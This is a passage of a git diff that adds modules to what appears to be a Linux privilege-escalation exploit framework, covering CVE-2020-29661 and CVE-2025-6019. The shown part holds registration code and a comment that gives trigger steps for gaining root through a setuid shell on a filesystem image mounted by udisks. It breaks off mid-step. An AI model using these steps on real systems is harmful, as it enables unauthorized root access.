(KASAN) on each race-win attempt.", + .arch_support = "x86_64+unverified-arm64", +}; + +void skeletonkey_register_tioscpgrp(void) +{ + skeletonkey_register(&tioscpgrp_module); +} diff --git a/modules/tioscpgrp_cve_2020_29661/skeletonkey_modules.h b/modules/tioscpgrp_cve_2020_29661/skeletonkey_modules.h new file mode 100644 index 0000000..0a9c9b0 --- /dev/null +++ b/modules/tioscpgrp_cve_2020_29661/skeletonkey_modules.h @@ -0,0 +1,5 @@ +#ifndef TIOSCPGRP_SKELETONKEY_MODULES_H +#define TIOSCPGRP_SKELETONKEY_MODULES_H +#include "../../core/module.h" +extern const struct skeletonkey_module tioscpgrp_module; +#endif diff --git a/modules/udisks_libblockdev_cve_2025_6019/skeletonkey_modules.c b/modules/udisks_libblockdev_cve_2025_6019/skeletonkey_modules.c new file mode 100644 index 0000000..0d84ad5 --- /dev/null +++ b/modules/udisks_libblockdev_cve_2025_6019/skeletonkey_modules.c @@ -0,0 +1,363 @@ +/* + * udisks_libblockdev_cve_2025_6019 — SKELETONKEY module + * + * STATUS: 🟢 STRUCTURAL ESCAPE via polkit allow_active chain. No + * offsets, no leaks, no race. Two cooperating logic bugs in udisks2 + * + libblockdev let any console/session user (polkit allow_active=true) + * mount an attacker-built filesystem image WITHOUT nosuid/nodev, then + * execute the SUID-root binary it contains. + * + * The bug (Qualys, June 2025): + * libblockdev's bd_fs_resize / bd_fs_repair code paths mount the + * target filesystem internally so they can call resize2fs / xfs_growfs. + * The mount is performed WITHOUT MS_NOSUID and MS_NODEV. udisks2 + * exposes Resize() over D-Bus and gates it on polkit's + * org.freedesktop.UDisks2.modify-device action, which by default + * allow_active=yes (i.e. any logged-in console user can call it + * without a password). + * + * Trigger: + * 1. Build an ext4 image with a setuid-root /bin/sh inside. + * 2. Attach as a loop device via udisks LoopSetup() over D-Bus. + * 3. Call Filesystem.Resize() — udisks invokes libblockdev which + * mounts the image at /run/media//